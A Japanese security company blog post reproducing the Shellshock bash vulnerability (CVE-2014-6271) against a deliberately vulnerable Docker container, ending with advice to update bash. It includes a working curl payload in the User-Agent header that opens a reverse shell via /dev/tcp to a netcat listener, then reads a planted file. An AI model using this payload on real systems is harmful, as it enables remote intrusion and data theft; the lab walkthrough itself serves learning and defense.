Armoris日記 Shellshock編

このブログは、3月までN高等学校に潜んでいた株式会社Armorisの社員が書いています。

あるもりすぶろぐの内容は個人の意見です。

Shellshock を手元で再現してみる

Shellshock とは Linux などの Unix系の OS環境で最もよく使われているシェルの、bash に存在する脆弱性を利用した攻撃のことで、割り当てられているCVE番号はCVE-2014-7169CVE-2014-6271です。
この脆弱性を利用することでネットワーク経由で攻撃者がサーバーに接続したり、任意のコードを実行することができます。

詳しくはトレンドマイクロさんの記事を参照してください。

今回はCVE-2014-6271の検証を行います。
今回は Docker を使用して検証環境を構築しています。
GitHub URL

環境準備

基本的に全ての手順がちゃんと GitHub の README に書かれているので、その手順に沿って作業を進めます。
今回使用した環境は以下のとおりです。

ホスト 情報 f:id:Armoris:20200814104224p:plain

Docker 情報 f:id:Armoris:20200814104229p:plain

Dockerの準備

以下の手順に沿って Docker をインストールし、dockerグループにユーザーを追加します。

$ sudo apt-get install -y \
    apt-transport-https \
    ca-certificates \
    curl \
    software-properties-common
$ curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -
$ sudo add-apt-repository \
   "deb [arch=amd64] https://download.docker.com/linux/ubuntu \
   $(lsb_release -cs) \
   stable"
$ sudo apt-get update
$ sudo apt-get install -y docker-ce
$ sudo usermod -aG docker UserName

Git Clone と対象サーバーの起動

Docker がインストールできたら GitHub からコードをダウンロードし、攻撃対象のサーバーを起動します。

$ git clone https://github.com/opsxcq/exploit-CVE-2014-6271.git
$ cd exploit-CVE-2014-6271/
$ docker run -d --rm -it -p 8085:80 vulnerables/cve-2014-6271

サーバーが起動したか確認します。

$ docker ps -a
CONTAINER ID        IMAGE                       COMMAND              CREATED             STATUS              PORTS                  NAMES
b67d34567141        vulnerables/cve-2014-6271   "/main.sh default"   About an hour ago   Up About an hour    0.0.0.0:8085->80/tcp   gifted_jones

サーバー内にファイルを配置する

対象サーバーに侵入後に確認用としてファイルを設置します。

$ docker exec -it ContainerID /bin/bash
$ echo "secret token" > .admin_file

実際に対象サーバーに攻撃を試みる

まずはホストマシンで以下のコマンドを実行し待ち状態のセッションを作ります。

$ nc -l -p 5555

次に別のセッションのホストマシンから curl コマンドを使用して攻撃コードを実行します。

$ curl -A "() { :;};/bin/bash -i >& /dev/tcp/localhost-ip/5555 0>&1" http://localhost-ip:8085/cgi-bin/vulnerable

攻撃コードを実行すると先程の待ち状態だったセッションが以下のようになっていると思います。

www-data@ContainerID:/usr/lib/cgi-bin$

上記のようになったら先程設置したファイルを確認します。

www-data@ContainerID:/usr/lib/cgi-bin$ cd /
www-data@ContainerID:/$ cat .admin_file
secret token

事前に / 直下に作成した .admin_file の中身が閲覧できることを確認した。

最後に

今回検証した Shellshock と言われる脆弱性は、多くの Linux システムにおいてデフォルトで使用されているシェルに存在したことで、かなり広範囲に影響が出たようです。
Shellshock のように広く利用されているソフトウェアやサービスで脆弱性が見つかった場合多くの人たちに影響を与えてしまいます。そのため脆弱性が発表された場合は脆弱性が修正されたバージョンにアップデートしたり、情報を集めて対策する必要があると強く感じました。

また、今回検証した脆弱性が発見されたのはかなり前のことですが、現在でも該当するバージョンの bash を利用している場合はすぐにアップデートすることをお勧めします。